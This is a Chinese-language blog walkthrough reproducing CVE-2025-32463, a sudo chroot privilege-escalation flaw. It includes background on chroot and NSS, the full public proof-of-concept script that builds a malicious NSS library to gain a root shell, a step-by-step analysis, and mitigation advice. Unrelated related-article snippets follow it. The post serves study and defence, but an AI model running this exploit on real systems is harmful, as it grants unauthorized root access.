CVE-2025-32463復現

目錄

  • 背景知識
    • chroot環境
    • chroot 環境的具體表現
    • Name Service Switch (NSS)機制
    • 漏洞簡介
  • 環境搭建
  • 復現
    • POC分析
  • 防御方法
  • 參考文章:


背景知識

chroot環境

(全稱“change root”)是一種Unix/Linux系統中的隔離技術,其核心作用是將進程的根目錄(/)切換到系統中的一個子目錄,使該進程只能訪問這個子目錄內的文件和資源,無法突破到外部真實的文件系統。

chroot 環境的具體表現

  1. 根目錄被“替換”
    進入chroot環境后,進程看到的/(根目錄)實際上是原系統中的一個普通子目錄(例如/tmp/mychroot)。例如:

    • 原系統中的/tmp/mychroot/etc/passwd,在 chroot 環境中會被視為/etc/passwd
    • 原系統中的/usr/bin等路徑,在chroot環境中不可見(除非手動復制到子目錄中)。
  2. 資源隔離
    進程無法訪問chroot目錄之外的文件、設備或系統資源(如網絡配置、其他分區等),仿佛運行在一個“迷你獨立系統”中。例如:

    • 嘗試訪問/proc(系統進程信息)或/dev(設備文件)時,只能看到chroot目錄內手動復制的部分內容。
  3. 權限限制
    即使進程在chroot環境中擁有“root權限”,其操作范圍也被限制在子目錄內,無法影響外部真實系統(正常情況下)。

Name Service Switch (NSS)機制

NSS是Linux用于管理各種系統數據庫(用戶、組、主機等)的框架。關鍵點:

  • 配置文件/etc/nsswitch.conf指定各數據庫的查詢順序和方式
  • 標準格式:數據庫名: 服務1 [動作] 服務2…
  • 例如passwd: files nis表示先查本地文件,再查Network Information Service
  • 共享庫命名規則為libnss_<服務名>.so.2

漏洞簡介

CVE-2025-32463是Linux系統中Sudo工具的高危本地權限提升漏洞,主要影響1.9.14至1.9.17版本。該漏洞源于Sudo的“-R(–chroot)”選項在實現上存在缺陷,即便攻擊者是本地無特權用戶且未配置任何sudoers權限規則,也能利用這一漏洞:通過構造惡意目錄,并在其中偽造/etc/nsswitch.conf文件,誘導Sudo在處理chroot操作時加載惡意動態庫,最終以root權限執行任意代碼。目前,Sudo 1.9.17p1版本已修復此漏洞,修復方式為回退1.9.14版本中與chroot功能相關的修改,并棄用了“–chroot”功能,以此徹底消除該安全隱患。
在這里插入圖片描述

-R選項的具體功能

  1. 切換根目錄
    使用-R選項后,Sudo會將指定路徑作為新的根目錄(/),執行的命令只能訪問該路徑下的文件系統層級。例如:

    sudo -R /path/to/chroot /bin/ls
    

    此命令會在/path/to/chroot目錄為根的環境中執行ls,顯示的是/path/to/chroot內部的文件列表。

  2. 安全隔離
    常用于需要限制程序訪問范圍的場景,如測試不受信任的代碼、運行特權服務(如Web服務器)時降低風險。

  3. 系統維護
    在修復系統引導問題或文件系統損壞時,可以通過chroot環境訪問和修改受損系統。

環境搭建

直接用平時常用的kali即可,我安裝的是2025版本的kali,應該有該漏洞
在這里插入圖片描述
版本符合漏洞影響范圍

復現

利用國外大佬的Poc復現即可:

https://github.com/pr0v3rbs/CVE-2025-32463_chwoot

克隆poc到kali上面,進入poc目錄。根據poc描述檢查是否存在漏洞
在這里插入圖片描述
返回了sudo: woot: No such file or directory,說明存在漏洞

如果是Windows克隆后復制到Linux上面,可能執行不了,這時候嘗試chmod +x給腳本可執行權限,還有就是記得把所有文件換行轉換為Linux格式的換行find /path/to/your/folder -type f -exec sed -i 's/\r$//' {} +

然后直接執行腳本就得了。
在這里插入圖片描述

POC分析

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1if [ $# -eq 0 ]; then# If no command is provided, default to an interactive root shell.CMD="/bin/bash"
else# Otherwise, use the provided arguments as the command to execute.CMD="$@"
fi# Escape the command to safely include it in a C string literal.
# This handles backslashes and double quotes.
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>__attribute__((constructor)) void woot(void) {setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOFmkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.cecho "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
  1. 環境準備
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

創建臨時工作目錄,確保后續操作不會污染系統其他位置。

  1. 命令處理
if [ $# -eq 0 ]; thenCMD="/bin/bash"
elseCMD="$@"
fi

$#:表示傳遞給腳本的參數個數
如果用戶沒有提供參數,默認執行交互式bash shell;否則執行用戶指定的命令。
例如:./sudo-chwoot.sh whoami會執行whoami命令

  1. 生成惡意共享庫
__attribute__((constructor)) void woot(void) {setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}

這是一段C代碼,利用GCC的constructor屬性,使指定函數在共享庫加載時自動執行。其功能是將當前進程的用戶ID和組ID都設置為0(即root),然后切換到根目錄并執行用戶指定的命令,-c表示執行字符串形式的命令。

  1. 配置NSS欺騙
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc

創建一個偽造的chroot環境:

  • mkdir -p:遞歸創建目錄結構
  • nsswitch.conf是Name Service Switch配置文件,這里將密碼數據庫查詢重定向到我們的惡意庫,正常來說passwd: files systemd會調用libnss_files.so.2和libnss_systemd.so.2這些庫,而這個異常的會調用libnss_/woot1337.so.2
  • 復制真實的group文件以避免命令執行時因缺少group信息而失敗
  1. 編譯惡意庫并執行攻擊
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
sudo -R woot woot
  • shared:生成共享庫
  • fPIC:生成位置無關代碼(共享庫必需)
  • Wl,-init,woot:通過鏈接器指定woot函數為初始化函數
  • 輸出為libnss_/woot1337.so.2:符合NSS模塊命名規范libnss_*.so.2
  • sudo -R woot woot是關鍵攻擊命令:-R導致Sudo加載我們控制的nsswitch.conf。第一個woot是chroot目錄,第二個woot是要執行的命令(實際會被忽略,因為惡意庫已接管)
  1. 攻擊原理
    當sudo執行-R選項時,它會切換到指定的chroot環境并嘗試解析用戶信息。由于我們修改了nsswitch.conf,sudo會加載我們的惡意庫woot1337.so.2,觸發構造函數,將當前進程權限提升為root,然后執行用戶命令。

防御方法

  1. 立即更新Sudo版本:將Sudo升級至1.9.17p1及以上版本,該版本已通過回退存在問題的代碼并棄用--chroot功能修復漏洞,可通過系統包管理器(如apt)執行更新:sudo apt update && sudo apt upgrade sudo

  2. 臨時禁用--chroot功能:若暫時無法升級,可編輯Sudo配置文件(/etc/sudoers,需用visudo命令),在相關規則中限制-R/--chroot選項的使用,或直接移除包含該選項的配置,阻斷漏洞利用路徑。

  3. 限制文件權限:嚴格控制系統中/etc/nsswitch.conf及相關目錄的讀寫權限,防止非授權用戶篡改或創建惡意文件,減少攻擊者構造利用環境的可能性。

  4. 監控異常操作:通過日志審計工具(如auditd)監控涉及sudo命令、chroot操作及系統庫文件加載的異常行為,及時發現潛在攻擊嘗試。


參考文章:

https://mp.weixin.qq.com/s/mZdIwl9h8tN6J5FNDUl2IQ
https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/913941.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/913941.shtml
英文地址,請注明出處:http://en.pswp.cn/news/913941.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

原生微信小程序研發,如何對圖片進行統一管理?

目標&#xff1a; 統一在配置文件中管理圖片&#xff0c;用變量存儲&#xff0c;換圖標時只需修改鏈接即可&#xff0c;無需更改業務代碼&#xff0c;且方便查找。tips: 不建議在 asset 中存儲大量圖片&#xff0c;原因是官方要求小程序內存要限制在2M以內&#xff0c;圖片放多…

Escrcpy(手機投屏) v1.27.2 便攜版

Escrcpy 是一款強大的工具&#xff0c;它允許用戶通過圖形化的 Scrcpy 界面來顯示和控制他們的 Android 設備。這款應用程序由 Electron 作為其底層框架驅動。Escrcpy 無需任何賬戶就可以使用&#xff0c;無需擔心隱私或安全問題。Escrcpy沒有廣告&#xff0c;完全免費開源。軟…

element-plus表單校驗失敗問題

一、問題&#xff1a;做表單校驗時&#xff0c;自定義校驗和常規校驗都失敗&#xff0c;自定義校驗時無法拿到value值。二、原因&#xff1a;1、變量名稱那沒有綁定prop。如果是常規校驗&#xff0c;沒綁定prop的話&#xff0c;在確定按鈕時&#xff0c;valid都是true。2、自定…

jmeter做跨線程組

多線程通常會將不同的業務邏輯分配到不同的線程組中。為什么要做多線程&#xff1a;模擬真實世界場景&#xff1a;在實際應用中&#xff0c;服務器通常需要同時處理來自多個用戶的請求。通過多線程&#xff0c;JMeter可以模擬這種并發用戶的行為&#xff0c;更準確地反映出應用…

SQL實戰:多表查詢篇

文章目錄多表查詢創建練習用的數據庫鏈接/連接查詢交叉連接自然連接內連接(取交集)外連接左外連接/右外連接自連接子查詢聯合查詢總結數據庫的備份和恢復命令行操作多表查詢 -- 獲得 alice的 部門所在城市 select * from staff where namealice; -- 獲得dept_id1 select city …

交通銀行基于HarmonyOS數字盾服務,實現大額轉賬安全

在近日落幕的華為開發者大會2025&#xff08;6月20日-6月22日&#xff09;上&#xff0c;交通銀行作為HarmonyOS安全合作的關鍵伙伴受邀出席。在大會的主題演講上介紹了交通銀行基于HarmonyOS SDK設備安全服務&#xff08;Device Security Kit&#xff09;中的數字盾服務&#…

加密狗硬復制的方法

加密狗硬復制方法概述&#xff1a;Greer82加密狗&#xff08;Dongle&#xff09;是一種硬件加密設備&#xff0c;用于軟件版權保護。硬復制是指通過物理手段復制加密狗的硬件信息&#xff0c;通常涉及破解或仿制。需要注意的是&#xff0c;未經授權的復制可能涉及法律風險&…

家庭網絡中的服務器怎么對外提供服務?

家庭網絡中的服務器怎么對外提供服務&#xff1f;方案1 DDNS&#xff08;家庭網絡需要有公網ip&#xff09;方案2 內網穿透&#xff08;需要有一臺公網ip的服務器&#xff09;方案1 DDNS&#xff08;家庭網絡需要有公網ip&#xff09; 怎么判斷是否有公網ip&#xff1f;大致的流…

UnrealEngine5游戲引擎實踐(C++)

目錄 目錄 目錄 Unreal Engine 是什么? Unreal Engine 5 簡介 核心技術特性 應用場景擴展 兼容性與生態系統 Unreal Engine安裝 下載 Epic Games Launcher 啟動 Unreal Engine 選擇安裝版本和路徑 選擇組件 開始安裝 驗證安裝 配置項目模板(可選) 更新和插件…

web滲透sql注入4之PostgreSQL

web滲透sql注入4之PostgreSQLPostgreSQL數據庫特性&#xff1a;基于角色的訪問控制&#xff0c;支持超級用戶&#xff0c;需安裝 plpgsql 擴展方可執行命令&#xff0c;可通過 COPY命令或自定義函數實現權限判斷白盒看代碼&#xff0c;黑盒通過構造特殊查詢語句探測數據庫權限權…

2025年7月:打cs1.5 600元裝機臺式電腦方案A

打cs1.5 600元裝機方案A&#xff1a;有需要的小伙伴可以收藏哈&#xff0c;目前我沒有機會實測效果&#xff0c;理論值是ok無壓力的&#xff0c;大家 有機會配置后的&#xff0c;也可以自行測試下CS1.5的FPS值穩定否哈哈。 打cs1.5 600元裝機方案A&#xff1a; 點擊查看詳細內…

人大金倉下載安裝教程總結

文章目錄前言背景&#xff1a; 工作中進行信創改造&#xff0c;需要把mysql&#xff0c;postgresql數據遷移到人大金倉一、人大金倉是什么&#xff1f;二、使用場景三、下載安裝教程四、優勢五、環境及要求六、工具以及詞匯介紹總結前言 背景&#xff1a; 工作中進行信創改造&…

WebDAV與內網穿透的協同創新:Joplin私有云同步架構深度解析

文章目錄前言1. 檢查群暉Webdav 服務2. 本地局域網IP同步測試3. 群暉安裝Cpolar工具4. 創建Webdav公網地址5. Joplin連接WebDav6. 固定Webdav公網地址7. 公網環境連接測試前言 在遠程辦公場景持續深化的數字化時代&#xff0c;數字筆記工具已從單純的記錄載體進化為知識管理的…

html的outline: none;

outline: none; 是一條 CSS 樣式規則&#xff0c;用來取消元素獲得焦點時的默認輪廓線&#xff08;outline&#xff09;。&#x1f50d; 什么是 outline&#xff1f;outline 是瀏覽器在某些元素&#xff08;例如輸入框 <input>、按鈕 <button>、可編輯元素如 <d…

Java 正則表達式白皮書:語法詳解、工程實踐與常用表達式庫

一、什么是正則表達式&#xff1f;正則表達式&#xff08;Regular Expression&#xff09;是一種文本模式&#xff0c;用于描述、匹配、搜索或替換符合某種規則的字符串。其在日志提取、表單校驗、配置清洗、數據爬取等場景中被廣泛使用。Java 提供了完整的正則表達式支持&…

火山引擎Data Agent全面上線售賣!以企業級數據智能體,重構數據應用范式

資料來源&#xff1a;火山引擎-開發者社區 在火山引擎2025春季FORCE原動力大會現場&#xff0c;火山引擎數智平臺解決方案總經理蕭然宣布&#xff0c; 企業級數據智能體Data Agent即日起正式上線售賣 。該產品旨在通過DataAI的深度融合&#xff0c;助力企業實現數據價值的挖掘與…

uniapp AndroidiOS 定位權限檢查

定位權限檢查 // 檢查定位權限狀態 export const checkPermission () > {const platform uni.getSystemInfoSync().platform;console.log(platform, platform)// #ifdef APP-PLUSif (platform android) {// Androidreturn checkAndroidPermission();} else if (platform …

深入理解Java虛擬機(JVM):從內存管理到性能優化

深入理解Java虛擬機&#xff08;JVM&#xff09;&#xff1a;從內存管理到性能優化 目錄 引言JVM架構概述 1. 類加載器&#xff08;Class Loader&#xff09;2. 運行時數據區&#xff08;Runtime Data Areas&#xff09;3. 執行引擎&#xff08;Execution Engine&#xff09;…

PHP SimpleXML:深入理解與高效使用

PHP SimpleXML:深入理解與高效使用 引言 PHP SimpleXML 是一個用于解析和操作 XML 文檔的庫。它簡化了 XML 的處理過程,使得 PHP 開發者可以更加輕松地與 XML 數據交互。本文將深入探討 PHP SimpleXML 的基本概念、使用方法以及在實際開發中的應用。 SimpleXML 簡介 Simp…

雙模秒切,體驗躍遷!飛利浦EVNIA雙模游戲顯示器27M2N6801M王者降臨!

當沉浸式畫質與電競級流暢無法共存&#xff0c;EVNIA Mini LED雙模游戲顯示器27M2N6801M以破界之姿革新而來&#xff01;全新搭載 4K160Hz / FHD320Hz雙模顯示引擎&#xff0c;將視覺震撼與操作跟手性推向全新高度。心念所動間&#xff0c;即可在電影級3A世界與分秒必爭的電競戰…